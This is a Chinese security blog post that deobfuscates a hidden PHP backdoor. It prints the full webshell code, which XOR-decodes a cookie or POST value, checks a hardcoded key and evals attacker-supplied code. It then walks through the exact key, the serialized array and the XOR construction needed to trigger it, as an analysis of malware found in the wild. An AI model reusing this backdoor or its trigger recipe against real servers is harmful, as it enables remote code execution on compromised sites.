文章来源:安译Sec
ps:这种方式遇到粗心/没有经验的管理员可能混过去,但若使用win自带的记事本(需开启自动换行)则一览无余。
实际上换行整理一下:
用Notepad++自带的正则替换简单做了下格式处理。
另外在下面的代码中发现了 eval/*r49557ec*/(
还插了注释,这个小方法很有意思,测试了下函数与"("中间插注释确实不影响执行。
但实际我测试用类似的注释方式填充敏感函数,过不了D盾。
一.还原庐山真面目
在进行替换/整理/和谐部分变量名之后,得到如下完整后门代码(整理后代码):
<?php
$da59aa5 = 208;
$GLOBALS['w8fd00d8'] = Array();
global $w8fd00d8;
$w8fd00d8 = $GLOBALS;
${"x47x4cx4fBx41x4cx53"}['a904'] = "x2fx25x32x54x75x3ax5ex36x31x48x21x5bx30x66x20x5fx56x5ax4dx23x3ex37x71x29x26x2cx68x7ex5cx9x64x69x6ex3cx6bx2bx61x2dx4ax47x42x7cxax6ax7bx6fx52x27x4cx39x55x63x4bx7ax49x3fx5dx76x33x59x43x62x24x38x79x70x72x67x28x35x46x3dx7dx65x57x41x53x44x73x60x58x34x77x22x6cx6dx4ex45x4fx40x78x74x50xdx2ax2ex3bx51";
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if (!defined('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba')){
define('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba', 1);
$vv = NULL;
$kk = NULL;
$w8fd00d8['c77700426'] = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc';
global $c77700426;
function e664fd($vv, $kk){
global $w8fd00d8;
$n513761 = "";
for ($i=0;$i<strlen($vv);){
for ($p=0;$p<strlen($kk) && $i<strlen($vv);$p++, $i++){
$n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));
}
}
return $n513761;
}
function x184f5cc($vv, $kk){
global $w8fd00d8;
global $c77700426;
return e664fd(e664fd($vv, $c77700426), $kk);
}
foreach ($_COOKIE as $k=>$v){
$vv = $v;
$kk = $k;
}
if (!$vv){
foreach ($_POST as $k=>$v){
$vv = $v;
$kk = $k;
}
}
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){
if ($vv['a'] == 'i'){
$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);
echo @serialize($l71c40);
}
elseif ($vv['a'] == 'e'){
eval/*r49557ec*/($vv['d']);
}
}
exit();
}
?>
1.前面的代码部分:需要用到的函数装入变量数组/并拆分拼接
2.定义了两个功能函数,主要用来验证/处理
3.经过一系列限定条件的判断等,最终触发eval/*r49557ec*/(
4.整个后门的函数/字符串传递几乎都是使用数组+拼接的方式进行的
这是大致的逻辑,实际爆菊成功之前有几件事要做:1.调试出各种已定义变量的值
2.替换字变量/函数名,增加可读性
3.通过倒序的方式,逐步尝试调用后门,明确调用逻辑。
首先前面几行:
$GLOBALS['w8fd00d8'] = Array(); //定义全局数组,用于保存后面的各种函数名/字符串,以及直接作为函数执行 ,如$GLOBALS['xx']()
global $w8fd00d8;
$w8fd00d8 = $GLOBALS;
//这里有一个发现,如果变量是被$GLOBALS赋值,那么此变量也会随着$GLOBALS的值实时更新
如:
$test = $GLOBALS;
访问:?handsome=t00ls
$test值也有handsome=t00ls
这个特性我查了半天资料,没有找到原因。
下面:
${
"x47x4cx4fBx41x4cx53"}['a904'] = "x2fx25x32x54x75x3ax5ex36x31x48x21x5bx30x66x20x5fx56x5ax4dx23x3ex37x71x29x26x2cx68x7ex5cx9x64x69x6ex3cx6bx2bx61x2dx4ax47x42x7cxax6ax7bx6fx52x27x4cx39x55x63x4bx7ax49x3fx5dx76x33x59x43x62x24x38x79x70x72x67x28x35x46x3dx7dx65x57x41x53x44x73x60x58x34x77x22x6cx6dx4ex45x4fx40x78x74x50xdx2ax2ex3bx51";
查了下似乎是16进制或Unicode编码,双引号情况下可以直接输出其值。
由于是16进制,在单引号包裹的情况下也可以使用chr(hexdec(字符串))进行解码。
当然,我直接打印了所有已定义变量,得到如下:
脚本所有已定义变量:
[a904] => /%2Tu:^61H![0f _VZM#>7q)&,h~ din chr
[z2d33f00] => ord
[v618c417c] => define
[hb67d10] => strlen
[r018ad5] => defined
[x8a4] => ini_set
[n2eb] => serialize
[be64] => phpversion
[f8d94b] => unserialize
[kdd72d] => base64_decode
[k23b] => set_time_limit
[s6f48] => x184f5cc
[jf1ef40] => e664fd
[c68905ea] => Array
发现敏感函数unserialize //可能需要反序列化操作 其中下标[a904]的值由于存在特殊字符,没有显示完全,另外如需利用到[a904]的值也要考虑这个问题,不能直接输出使用。
二.触发条件分析
当时按顺序读了下功能,事后复盘发现,可能比较高效的做法是倒序着读,顺着最下面的执行逻辑往上去构造条件。
所以既然重点在eval/*r49557ec*/($vv['d']);
那设法$vv['d']可控就好
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
可以先不考虑x184f5cc(base64_decode($vv), $kk)是怎么来的,
我们先直接修改$vv的值,看怎样才能满足执行条件。
if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){
if ($vv['a'] == 'i'){
$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);
echo @serialize($l71c40);
}
elseif ($vv['a'] == 'e'){
eval/*r49557ec*/($vv['d']);
}
}
exit();
后门触发条件:
1.$vv需要是数组
2.成员必须存在'ak'且'ak'需等于$c77700426的值
$c77700426的值在上面已有定义:为'aec7e489-2fbc-4b15-871f-1d686eeb80dc';
3.成员需存在'a',若值为'i'则输出版本,为'e'则触发后门
4.后门执行内容为成员'd'的值
所以$vv需要等于↓↓
array(
'ak'=>'aec7e489-2fbc-4b15-871f-1d686eeb80dc',
'a'=>'e',
'd'=>'执行代码' //如phpinfo();
);.
直接传入试试有没有问题 :
可以执行,回到上面:
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
那x184f5cc(base64_decode($vv), $kk)的返回值就需要是序列化后的上面我们构造的数组
也就是:
x184f5cc(base64_decode($vv), $kk) 返回值需要等于 a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
看下x184f5cc()函数做了什么操作? function x184f5cc($vv, $kk){
global $w8fd00d8;
global $c77700426;
return e664fd(e664fd($vv, $c77700426), $kk);
}
1.其中$w8fd00d8相当于$GLOBALS
$c77700426是固定值
//'aec7e489-2fbc-4b15-871f-1d686eeb80dc'
2.经过两次核心混淆函数e664fd()的处理
这时候重新理一下:
我们必须使e664fd(e664fd($vv, $c77700426), $kk);的
返回结果为 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
再来看一下e664fd()函数
function e664fd($vv, $kk){
global $w8fd00d8;
$n513761 = "";
for ($i=0;$i<strlen($vv);){
for ($p=0;$p<strlen($kk) && $i<strlen($vv);$p++, $i++){
$n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));
}
}
return $n513761;
}
大致功能就是把传入的两个参数值逐个字符转为ASCII码并进行位运算(取反),得到的结果以字符串形式返回。
位取反有个特点:1.A与B取反=C
2.B与C取反=A
可逆,B^C当然就得到A了。
所以回过头看:我们必须使函数↓↓ e664fd(e664fd($vv, $c77700426), $kk);
的返回结果为 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
也就是我们需要在第二次我们必须使e664fd()时候,
让e664fd($vv, $c77700426)与$kk的取反结果等于↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
于是需要看看$kk的值是如何过来的,
foreach ($_COOKIE as $k=>$v){
$vv = $v;
$kk = $k;
}
if (!$vv){
foreach ($_POST as $k=>$v){
$vv = $v;
$kk = $k;
}
}
发现$kk/$vv前后没有做什么验证,代码就是就是比较单纯的获取COOKIE或POST提交过来的参数名和参数值并传给$kk/$vv
我们通过cookie提交来验证一下是否正常输出:
没问题!
三.确定爆菊思路
然后我们大致确定下构造的思路:e664fd(e664fd($vv, $c77700426), $kk);
第一次e664fd()执行时:
e664fd($vv, $c77700426) //$c77700426 = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc'
需返回能与第二次e664fd()
cookie参数名取反结果
为a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"
......的值
第二次e664fd()执行时:e664fd(第一次的返回值, $kk);
//需返回
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
所以构造思路如下:(('aec7e489-2fbc-4b15-871f-1d686eeb80dc' ^ cookie值) ^ cookie参数名) = a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";} 按照这个逻辑进行参数提交,方可触发后门。
但COOKIE/POST中参数名对特殊字符支持有限,所以$kk(参数名)的值最好在字母/数字范围内,好在$vv(参数值)的值就宽容的多,尤其是由于$vv传递过程需要Base64解码,所以,cookie值需base64编码,可以取反的字符范围就比较大了。
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
我们先把$kk也就是cookie参数名的字符固定一下,比如就叫'tttttttttttttttttttttttttttttttttttttt.....'
(也可以是任意字符 cookie参数名允许即可)
具体长度取决于我们的payload序列化后的字符长度(phpinfo()的序列化
后长度是101个字符),两者长度要一致。
四.写个Payload脚本
我们写个脚本:
大致实现通过传参生成任意执行代码的payload,如果要更懒的话可以直接写提交过去。
Payload代码:
生成结果:
执行结果:总结
1.心静下来比较难,一旦静下来面对很多问题都能解决。
2.自知没有多少技术含量,都是很基础的东西。希望谅解!
3.感谢AdminTony这段时间对我学习技术的帮助!
问题:
为何我测试许久发现提交的命令只要大于11个字符就报错,应该不是cookie参数名长度问题,希望有兄弟解答!
联系微信
END.
推荐文章++++
本文始发于微信公众号(黑白之道):项目实战 | 记一次对某猥琐PHP后门的爆菊
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论